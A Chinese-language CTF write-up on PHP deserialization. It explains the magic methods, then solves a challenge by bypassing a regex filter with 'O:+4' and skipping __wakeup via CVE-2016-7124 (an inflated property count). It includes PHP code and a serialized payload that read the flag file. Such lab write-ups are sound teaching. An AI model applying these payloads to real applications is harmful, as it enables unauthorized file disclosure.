预备知识:

PHP序列化和反序列化:

serialize() //将一个对象转换成一个字符串 unserialize() //将字符串还原成一个对象

通过序列化与反序列化我们可以很方便的在PHP中进行对象的传递。本质上反序列化是没有危害的。但是如果用户对数据可控那就可以利用反序列化构造payload攻击。

在利用对PHP反序列化进行利用时,经常需要通过反序列化中的魔术方法,检查方法里有无敏感操作来进行利用。

常见方法

__construct()//创建对象时触发 __destruct() //对象被销毁时触发 __call() //在对象上下文中调用不可访问的方法时触发 __callStatic() //在静态上下文中调用不可访问的方法时触发 __get() //用于从不可访问的属性读取数据 __set() //用于将数据写入不可访问的属性 __isset() //在不可访问的属性上调用isset()或empty()触发 __unset() //在不可访问的属性上使用unset()时触发 __invoke() //当脚本尝试将对象调用为函数时触发

比较重要的方法

__sleep()

serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。如果该方法未返回任何内容,则 NULL 被序列化,并产生一个 E_NOTICE 级别的错误。

对象被序列化之前触发,返回需要被序列化存储的成员属性,删除不必要的属性。

__wakeup()

unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。

本题解法

该题只需要注意一个wakeup函数即可,可知我们需要绕过wakeup函数,(绕过特性,当输入的参数个数小于你定义的参数个数时)

此处把序列化语句中的1替换成2(CVE-2016-7124),即当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行。

打开题目是一段代码:


<?php class Demo {     private $file = 'index.php';    public function __construct($file) {         $this->file = $file;     }    function __destruct() {         echo @highlight_file($this->file, true);     }    function __wakeup() {  //需要绕过_wakeup.        if ($this->file != 'index.php') {             //the secret is in the fl4g.php              $this->file = 'index.php';  //如果文件不是index.php ,_wakeup函数会把文件转成index.php        }     } }if (isset($_GET['var'])) {     $var = base64_decode($_GET['var']);   //base64解密    if (preg_match('/[oc]:d+:/i', $var)) {    //对输入的参数进行过滤(就是过滤序列化化之后的格式)        die('stop hacking!');     } else {        @unserialize($var);     //反序列化$var, 触发_wakeup()    } } else {     highlight_file("index.php"); } ?>

注释已经告诉我们flag的文件,我们只需要把flag当作参数,传递过去,就可以高亮显示了。

但是由于正则的匹配,还有_wakeup 的自动转转,我们需要绕过他们。

  1. 绕过正则:
  2. 绕过魔术函数

我们可以看下当var=fl4g.php的时候:

我们可以把O:4 替换为O:+4,这样既不改变原有意思,也能绕过正则。

反序列化之后的1代表属性为1,我们把1 改成2 ,那么就能绕过——wakeup了。

下面是代码:

<?php class Demo {     private $file = 'index.php';    public function __construct($file) {         $this->file = $file;     }    function __destruct() {         echo @highlight_file($this->file, true);     }    function __wakeup() {         if ($this->file != 'index.php') {             //the secret is in the fl4g.php            $this->file = 'index.php';         }     } }$var='fl4g.php';$a =new Demo($var);$b=serialize($a);$b=str_replace('O:4','O:+4',$b);     $b= str_replace(':1:',':2:',$b); echo base64_encode($b);

运行结果


总结:

在对序列化进行替换的时候,最好使用函数直接替换,刚开始的时候,我是将序列化之后的字符串认为改的,然后多字符串进行base64 加密,但是,发现结果是错的,通过查阅资料,发现:

在序列化私有变量时,形成的序列化字符串与公共变量变量的序列化字符串不一样。

上述的file变量在实际中下会生成"O:4:"Demo":1:{s:10:" Demo file";s:8:"fl4g.php";}"

注意这里的Demo file 前面个有一个空格,如果在url中直接输入序列化字符串需要将空格转换成%00即构造

"O:+4:"Demo":2:{s:10:"%00Demo%00file";s:8:"fl4g.php";}"否则会出现变量不对应的问题。

b转换成mb php_攻防世界之WEB篇,php反序列化漏洞,网络安全入门篇相关推荐

  1. 获取的文件大小转换成MB

    在开发中会遇到获取图片等文件的大小,图片的大小一般都是B字节(例如:"size": 107854949),可能需要转换成MB兆字节,下面就总结下相关单位的换算. 相关单位: B 字 ...

  2. 攻防世界之Web新手练习篇

    前言: 天行健,君子以自强不息. 地势坤,君子以厚德载物.            --<周易> 第一次接触CTF比较晚,学期已过近半,第一次做题就是在攻防世界,这里题目适合刚接触的萌新.写 ...

  3. 攻防世界(web新手)

    1. 打开后会出现 查看其HTML 2. 首先需要了解啥是robot协议 在其后缀加入robots.txt后得到 然后在URL后面加入f1ag_1s_h3re.php 3. 打开后 首先需要了解啥是i ...

  4. 使用html2canvas,将页面转换成图片的采坑记录(Web/Taro h5)

    使用html2canvas将页面转换成图片的采坑记录 "html2canvas": "^1.4.1","@tarojs/taro": &qu ...

  5. js文件大小转换成mb、kb为单位

    if (this.fileList.length != 0) {for (let i = 0; i < this.fileList.length; i++) {if (this.fileList ...

  6. XCTF(攻防世界)—进阶web题Write Up(二)

    前言:继续总结学到的新知识 mfw 在about页面发现,搭建网站时用了git,尝试一下是否为git源码泄露 输入: http://111.198.29.45:36544/.git/ 果然是源码泄露, ...

  7. XCTF(攻防世界)—新手web题Write Up

    前言:之前一直没有接触过web这方面的题,这次利用暑假时光好好学习,web真的是很有趣,虽然有的题很简单,但可以学习到很多知识,话不多说,做题. view_source 用老版火狐浏览器,直接查看源码 ...

  8. 【和小白一起练习CTF】攻防世界:web基础练习题(2)

    文章目录 1.simple_js 2.xff_referer 3.weak_auth 4.webshell 5.command_execution 6.simple_php 1.simple_js 题 ...

  9. 攻防世界(Web进阶区)——fakebook

    这个思路可能并不是靶场原本想要让用户做的,但也无妨吧,怎样不是做呢.象棋高手总结了几十年的经验,也可能会输给新入门的新手.新手经验不足,更不谈什么战术,无心的一步棋,可能会让老者思前顾后,露出弱点. ...

最新文章

  1. SK电讯进军中国网游的四种原因
  2. ACL 2020 开源论文 | 基于Span Prediction的共指消解模型
  3. pythonwhile输出每一个余数_Python 基础 - day02-3
  4. [LeetCode] Longest Consecutive Sequence 求解
  5. 用C语言设置程序开机自启动
  6. web开发移动端准备工作
  7. ReportMachine 3.0技巧
  8. STM8单片机的多通道连续AD采集
  9. 麦克林排名计算机,麦克林9大热门大学专业院校排名出炉!启德为您解读
  10. 年终工作总结目录结构和要点
  11. 搜索引擎优化系统知名乐云seo_北京网络优化知名乐云seo
  12. 追光的人 团队团队展示
  13. 【产品速递】云和恩墨ZDBM数据库备份一体机
  14. Android自定义半圆形圆盘滚动选择器View
  15. 2010水瓶座年运势
  16. 微信开发:springboot接入微信公众号
  17. Ubuntu Snap商店代理设置方法
  18. 【c语言】字符串比较
  19. 计算机电源大小,电源功率到底选多大?老司机告诉你电源功率怎么选?
  20. if条件句和switch条件句

热门文章

  1. 怎样Selenium IDE选择combo box中值
  2. 整合用户篇—Oauth2理解与构造简单的系统
  3. PHP回调函数的几种用法
  4. ActiveMQ入门教程(三) - ActiveMQ P2P版的HelloWorld
  5. jmeter性能测试入门简介
  6. docker-compose.yml 配置文件编写
  7. python3 字符串大小写转换
  8. golang select关键字用法
  9. Object Hook 简单介绍
  10. linux下常用FTP命令 1. 连接ftp服务器